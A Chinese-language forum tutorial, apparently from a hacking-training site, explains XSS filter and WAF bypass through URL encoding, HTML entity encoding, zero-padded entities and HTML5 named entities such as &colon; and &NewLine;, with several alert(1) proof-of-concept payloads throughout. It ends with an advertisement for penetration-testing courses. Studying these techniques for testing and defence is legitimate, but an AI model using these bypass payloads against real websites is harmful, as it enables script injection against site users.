(十一)XSS漏洞原理与利用_XSS编码绕过

[复制链接]
发表于 2025-11-12 20:05:11 | 显示全部楼层 |阅读模式
XSS防护规则的绕过二:编码绕过

一,URL编码介绍

URL编码:一个百分号和该字符的ASCII编码所对应的2位十六进制数字。
例如:

/         --> %2F
#        --> %23   
.         --> %2e  
+        --> %2b
<        --> %3c
>        --> %3e
!        --> %21

空格--> %20
换行--> %0a
&        --> %26  
(         --> %28  
)         --> %29  
"         --> %22
'         --> %27




二,HTML实体编码介绍
  1. <blockquote>HTML实体编码:以&开头,分号结尾
复制代码


Javascript:伪协议后面可以使用URL编码。如果对JavaScript,alert过滤可以对其进行编码
例如:
        <a href="j&#x000061;vascript:%61lert(1)">click me</a>可成功执行弹窗;
        可用img就不行:<img src=1>
        因为href属性会跳转到其中的URL,而会进行URL解码.onerror属性则只会执行JS,不跳转.
       
        同时后面的url编码可以再做一次entity (HTML实体)编码:如果URL编码还是不行,可以                进一步实体化
        <a href="j&#x0061;vascript:&#x25;61lert (1)">click me</a>


四,HTML编码利用


注意:
1.HTML十进制和十六进制编码的分号是可以去掉的。
2.实体编码的数字前可以加上很多的0进行绕过WAF,如&#000000032;

例如:可以正常执行 弹出xss  (对alert过滤使用)
'><img src=1>

HTML5新增的实体命名编码是否弹出跟浏览器有关系)
&colon;  =>[冒号]      
&NewLine;   => [换行]

例:对正常的代码融入实体编码 (当对JavaScript过滤时使用)
<a href="javascript:alert(1)">click</a>
<a href="javasc&NewLine;ript&colon; alert (1)">click</a>



五,HTML编码利用(十进制和十六进制)


       解析器一般将工作分配给两个组件----词法分析器(有时也叫分词器)负责将输 入分解为合法的符号,解析器则根据语言的语法规则分析文档结构,从而构建解析树,词法分析器知道怎么跳过空白和换行之类的无关字符。
        首先html编码被还原出来然后就成了换行跟冒号
        <a href="javasc
        ript:alert(1)">click</a>
        为什么换行后还能够执行是因为浏览器中的解析器中词法分析器起的作用会跳过空白跟换行之类的无效字符。换行时必须用单双引号围住,否则不会跳过。跳过回车和 换行,不支持on事件.然后就构造成了一个完整的语句
        <a href="javascript: alert (1)">click</a> 代码成功执行(谷歌支持,火狐有版本问题)



必火网络安全培训,北京实地培训,月月有开班,零基础入门,四个月打造渗透高手。
详情请加微信:nvhack/153-2000-4362,手机微信同号。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|女黑客安全网 |网站地图 | 津ICP备17008032号-3

GMT+8, 2026-2-2 05:17 , Processed in 0.083830 second(s), 24 queries .

Powered by Discuz! X3.5

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表